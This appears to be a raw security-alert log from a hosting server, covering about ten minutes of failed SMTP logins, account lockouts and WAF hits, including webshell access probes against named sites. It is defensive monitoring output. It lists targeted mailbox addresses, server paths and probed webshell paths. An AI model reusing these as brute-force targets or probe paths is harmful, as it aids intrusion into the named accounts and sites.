IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 22:00:00 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:00:02 dovecot_login authenticator failed for H=(fLQY5XOFO) [185.230.124.69]:59404: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:00:09 dovecot_login authenticator failed for H=(r0Jx4KQ14F) [178.16.54.22]:60869: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:00:01 dovecot_login authenticator failed for H=(8B6fwFu) [185.230.124.69]:61715: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:00:04 dovecot_login authenticator failed for H=(5xNVF0fz) [2.58.56.77]:64586: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:00:14 dovecot_login authenticator failed for H=(gmcWT3eEnT) [178.16.54.138]:63288: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.72.189
country_id: 6252001
description:
2026-01-30 22:00:53 dovecot_login authenticator failed for H=([209.23.72.189]) [209.23.72.189]:56230: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:00:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.94.144
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=19 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:01:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:01:08 dovecot_login authenticator failed for H=(tJZfV6Xo) [185.230.124.69]:56983: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:01:12 dovecot_login authenticator failed for H=(7frCu0iJP) [178.16.54.22]:62153: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:01:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/dRuma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.88.218
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=913632 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:01:15 dovecot_login authenticator failed for H=(o6v7GL0xVN) [2.58.56.77]:57985: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.13.32
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=670775 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:01:13 dovecot_login authenticator failed for H=(vTrm8pggTP) [178.16.54.138]:60301: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.122.134.175
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=514257 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.217.203
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:02:01 dovecot_login authenticator failed for H=(TfjDtm) [2.58.56.77]:57911: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:02:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.214.160.4
country_id: 2017370
description:
2026-01-30 22:02:27 dovecot_login authenticator failed for H=(pool.luganet.ru) [178.214.160.4]:49055: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:02:41 dovecot_login authenticator failed for H=(1oyZ9rXpYr) [178.16.54.138]:58796: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:02:05 dovecot_login authenticator failed for H=(TGmN55) [185.230.124.69]:62087: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:02:13 dovecot_login authenticator failed for H=(BFPxTKENsr) [178.16.54.22]:50403: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.189.232
country_id: 2017370
description:
2026-01-30 22:02:18 dovecot_login authenticator failed for H=(host-232.185.15.189.0.0xffffff00.sterling.stercom.ru) [185.15.189.232]:50358: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:02:55 dovecot_login authenticator failed for H=(EtaUB2Rb) [185.230.124.69]:57824: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.0.238.190
country_id: 3469034
description:
2026-01-30 22:02:50 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [177.0.238.190]:36214: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.236.159.37
country_id: 1814991
description:
2026-01-30 22:03:02 dovecot_login authenticator failed for H=([120.236.159.37]) [120.236.159.37]:41627: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:03:10 dovecot_login authenticator failed for H=(BpOtxr) [2.58.56.77]:51275: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:03:20 dovecot_login authenticator failed for H=(TicSEt) [185.230.124.69]:55759: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:03:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/translation/Resources/schemas/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:03:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:03:11 dovecot_login authenticator failed for H=(QaApzK) [178.16.54.138]:52056: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:03:11 dovecot_login authenticator failed for H=(0OolsQ) [178.16.54.22]:50112: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:04:04 dovecot_login authenticator failed for H=(qg3CYlHZ) [185.230.124.69]:64643: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:04:11 dovecot_login authenticator failed for H=(QV3nttZ) [178.16.54.138]:56880: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:04:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:04:16 dovecot_login authenticator failed for H=(sQumEgjVrK) [178.16.54.22]:51502: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:04:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.227.214.54
country_id: 3469034
description:
2026-01-30 22:04:41 dovecot_plain authenticator failed for H=(V4836VC8A) [186.227.214.54]:36029: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:04:24 dovecot_login authenticator failed for H=(O6kMOT) [2.58.56.77]:53251: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.233.38.143
country_id: 1668284
description:
2026-01-30 22:04:52 dovecot_plain authenticator failed for H=36-233-38-143.dynamic-ip.hinet.net (I7QG1XB55L1Y) [36.233.38.143]:8846: 535 Incorrect authentication data (set_id=rohaidaak@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.17
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=480397 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:05:41 dovecot_login authenticator failed for H=(4NdeF0aq) [178.16.54.138]:50194: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:05:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:05:16 dovecot_login authenticator failed for H=(diV39vBW) [178.16.54.22]:51832: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.200.142
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=12 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:05:16 dovecot_login authenticator failed for H=(IUR1vrY) [185.230.124.69]:50432: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:05:12 dovecot_login authenticator failed for H=(KmZxZNK) [2.58.56.77]:60565: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:05:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:05:40 dovecot_login authenticator failed for H=(rhFvPD) [185.230.124.69]:62163: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:06:07 dovecot_login authenticator failed for H=(yPR3J8v) [185.230.124.69]:64234: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:06:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.228.65.185
country_id: 294640
description:
2026-01-30 22:06:31 dovecot_plain authenticator failed for H=(GXA8DC) [176.228.65.185]:61138: 535 Incorrect authentication data (set_id=abhan@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.85.72
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=978506 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:06:17 dovecot_login authenticator failed for H=(KgPYavM) [178.16.54.22]:65504: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:06:22 dovecot_login authenticator failed for H=(okYhd9WH) [2.58.56.77]:61817: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 22:06:32 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:39900: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.50
country_id: 1269750
description:
2026-01-30 22:06:59 dovecot_login authenticator failed for H=([182.95.63.50]) [182.95.63.50]:42312: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:06:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:06:11 dovecot_login authenticator failed for H=(3Is2yfNSgO) [178.16.54.138]:56310: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.4.130
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=841251 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.237.28
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=171212 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.45.47
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=159611 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:07:23 dovecot_login authenticator failed for H=(wQXAeU) [185.230.124.69]:55300: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.228.164.236
country_id: 2017370
description:
2026-01-30 22:07:37 dovecot_login authenticator failed for H=([193.228.164.236]) [193.228.164.236]:35432: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:07:08 dovecot_login authenticator failed for H=(UB4YhV7) [2.58.56.77]:64747: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.183.180.108
country_id: 1814991
description:
2026-01-30 22:07:16 dovecot_login authenticator failed for H=([118.183.180.108]) [118.183.180.108]:30522: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 203.144.76.188
country_id: 1831722
description:
Jan 30 22:07:49 sv3 pure-ftpd[3483041]: (?@203.144.76.188) [WARNING] Authentication failed for user [chew]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.58
country_id: 1668284
description:
2026-01-30 22:07:24 dovecot_login authenticator failed for H=([101.13.1.58]) [101.13.1.58]:48790: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 22:07:34 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:51022: 535 Incorrect authentication data (set_id=chew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:07:06 dovecot_login authenticator failed for H=(9rPXph) [178.16.54.138]:50094: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.211.19.12
country_id: 3144096
description:
2026-01-30 22:07:10 dovecot_login authenticator failed for H=(cm-84.211.19.12.get.no) [84.211.19.12]:39864: 535 Incorrect authentication data (set_id=chew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.30.180
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&sub=7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:07:18 dovecot_login authenticator failed for H=(GJs9EwYZ) [178.16.54.22]:55827: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 22:07:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 203.144.76.188
country_id: 1831722
description:
Jan 30 22:07:46 sv3 pure-ftpd[3483041]: (?@203.144.76.188) [INFO] New connection from 203.144.76.188


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:07:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/http-kernel/Tests/DataCollector/Compiler.log||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:08:07 dovecot_login authenticator failed for H=(Zv9R9c35) [185.230.124.69]:57539: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:08:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:08:21 dovecot_login authenticator failed for H=(KsVmvq) [178.16.54.22]:56974: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 30 22:08:40 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:08:16 dovecot_login authenticator failed for H=(xn5LWqD5) [2.58.56.77]:52949: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:08:42 dovecot_login authenticator failed for H=(0SHoIrIDIN) [178.16.54.138]:50036: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:08:33 dovecot_login authenticator failed for H=(7jRHwdB) [185.230.124.69]:57170: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.37.170
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/index.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 22:09:15 dovecot_login authenticator failed for H=(8h3XKp) [178.16.54.138]:54473: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.93.214
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=5 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 22:09:02 dovecot_login authenticator failed for H=(0DSiQGl9) [178.16.54.22]:62781: 535 Incorrect authentication data (set_id=bentey@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 22:09:04 dovecot_login authenticator failed for H=(Lft74o) [185.230.124.69]:65114: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:09:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.97.41
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=993425 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-30 22:09:02 dovecot_login authenticator failed for H=(6ekLWXA) [2.58.56.77]:54484: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/30/2026:14:10:31 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 30 22:10:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch@nexuscollection.com has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-01-30 22:10:30 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:56437: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: zrrtc.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/dpscomsec/public_html/assets||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.188.246.136
country_id: 1562822
domain: www.geminiflourmill.com
description:
